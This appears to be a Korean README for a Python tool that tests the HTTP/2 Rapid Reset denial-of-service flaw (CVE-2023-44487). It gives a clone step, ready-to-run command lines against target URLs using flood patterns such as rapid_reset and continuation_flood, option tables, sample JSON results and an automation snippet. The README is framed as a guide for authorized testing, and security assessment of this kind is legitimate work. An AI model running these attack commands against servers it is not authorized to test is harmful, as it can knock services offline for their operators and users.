
Python 기반의 CVE-2023-44487(HTTP/2 Rapid Reset) 테스트 도구로, 여러 공격 패턴, 세부 구성, 모니터링 기능을 갖추고 있으며 승인된 보안 평가를 위해 설계되었습니다.
CVE-2023-44487, HTTP/2 Rapid Reset 취약점을 위한 포괄적인 Python 테스트 도구입니다. 이 향상된 버전은 테스트 매개변수에 대한 세밀한 제어, 여러 공격 패턴, 고급 모니터링 기능을 제공합니다.
이 도구는 교육 및 승인된 테스트 목적으로만 사용하세요!
CVE-2023-44487은 "HTTP/2 Rapid Reset"으로도 알려져 있으며, 공격자가 다음을 수행할 수 있게 하는 HTTP/2 프로토콜의 심각한 취약점입니다:
CVSS 점수: 7.5 (높음)
영향: 서비스 거부, 리소스 고갈
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # 3.7 이상이어야 함
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| 옵션 | 설명 | 기본값 |
|---|---|---|
-c, --connections N | 동시 연결 수 | 1 |
--connection-timeout SEC | 연결 타임아웃(초) | 10 |
--read-timeout SEC | 응답 읽기 타임아웃 | 5 |
--connection-delay SEC | 연결 간 지연 | 0.0 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
-r, --requests N | 연결당 요청 수 | 100 |
--delay SEC | HEADERS와 RST_STREAM 사이 지연 | 0.001 |
--request-delay SEC | 요청 간 지연 | 0.0 |
--jitter FACTOR | 타이밍 무작위화 요소 | 0.0 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--pattern TYPE | 사용할 공격 패턴 | rapid_reset |
--burst-size N | 버스트당 요청 수 | 10 |
--burst-delay SEC | 버스트 간 지연 | 0.1 |
사용 가능한 패턴:
rapid_reset - 표준 rapid reset 공격burst_reset - 버스트 기반 공격gradual_reset - 점진적으로 증가하는 속도random_reset - 무작위 타이밍continuation_flood - CONTINUATION 프레임 플러드mixed_pattern - 패턴 혼합| 옵션 | 설명 | 기본값 |
|---|---|---|
--window-size BYTES | HTTP/2 초기 윈도우 크기 | 65535 |
--frame-size BYTES | 최대 프레임 크기 | 16384 |
--header-table-size BYTES | HPACK 헤더 테이블 크기 | 4096 |
--enable-push | HTTP/2 서버 푸시 활성화 | False |
--rst-error-code CODE | RST_STREAM 오류 코드 | 8 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--custom-headers HEADER | 사용자 지정 헤더 (이름: 값) | None |
--random-headers | 무작위 헤더 생성 | False |
--header-count N | 무작위 헤더 수 | 5 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--randomize-streams | 무작위 스트림 ID 사용 | False |
--priority-frames | 우선순위 정보 포함 | False |
--continue-on-error | 오류 후 계속 진행 | True |
--max-errors N | 중지 전 최대 오류 수 | 10 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--track-latency | 요청 지연 시간 추적 | False |
--track-responses | 서버 응답 추적 | False |
--monitor-memory | 메모리 사용량 모니터링 | False |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--output FORMAT | 출력 형식 | console |
--output-file FILE | 출력 파일 이름 | 자동 생성 |
--verbose, -v | 상세 출력 | False |
--debug | 디버그 로깅 | False |
--log-file FILE | 파일에 로깅 | None |
사용 가능한 출력 형식:
console - 사람이 읽을 수 있는 콘솔 출력json - 기계가 읽을 수 있는 JSONcsv - 스프레드시트 호환 CSVxml - 구조화된 XML 형식이 도구는 다음을 포함한 포괄적인 결과를 제공합니다:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
이 도구는 취약점을 자동으로 평가합니다:
서버가 취약한 것으로 확인되면 다음 완화 조치를 구현하세요:
import subprocess
import json
# 자동화된 테스트 실행
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# 결과 분석
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"HIGH RISK: {vulnerability_score}% success rate")